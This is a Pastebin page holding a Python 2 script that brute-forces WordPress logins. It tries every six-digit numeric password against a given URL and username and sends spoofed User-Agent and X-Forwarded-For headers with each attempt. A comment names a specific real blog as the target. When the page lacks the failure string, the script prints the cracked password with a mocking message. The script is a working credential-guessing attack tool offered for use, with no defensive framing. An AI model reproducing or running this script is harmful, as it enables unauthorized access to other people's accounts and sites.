Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import urllib
- import urllib2
- import sys
- import os
- url = sys.argv[1]
- bad_result = sys.argv[2]
- username = sys.argv[3]
- password = range(0, 10)
- #######tao tu dien vet can password 6 ki tu####################
- ######global variable#####
- ############brute blog.bkis.com
- user_agent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.6'
- x_forwarded_for = '111.111.111.111'
- accept = 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'
- headers = { 'User-Agent' : user_agent, 'X-Forwarded-For' : x_forwarded_for, 'Referer' : url, 'Accept' : accept}
- for line1 in password:
- for line2 in password:
- pass2 = str(line1) + str(line2)
- for line3 in password:
- pass3 = str(line1) + str(line2) + str(line3)
- for line4 in password:
- pass4 = str(line1) + str(line2) + str(line3) + str(line4)
- for line5 in password:
- pass5 = str(line1) + str(line2) + str(line3) + str(line4) + str(line5)
- for line6 in password:
- pass6 = str(line1) + str(line2) + str(line3) + str(line4) + str(line5) + str(line6)
- values = { 'log' : username ,
- 'pwd' : pass6 ,
- 'wp-submit' : 'Log+In',
- }
- #print pass6
- data = urllib.urlencode(values)
- req = urllib2.Request(url ,data , headers)
- try:
- response = urllib2.urlopen(req)
- except:
- print "Connection Error"
- exit()
- the_page = response.read()
- #print the_page
- os.system('rm -rf tmp.txt')
- _file = open('tmp.txt','w+')
- _file.write(the_page)
- _file.close()
- _file = open('tmp.txt','r')
- for _line in _file.readlines() :
- if _line.find(bad_result) <> -1:
- print "Trying with " + pass6
- break
- else:
- #print "Trying with " +pass6
- continue
- print "Haahahahahahaaaaaaaaaaa password is " + str(pass6)
- _file.close()
- print "Hix, Del tim ra password"
- exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement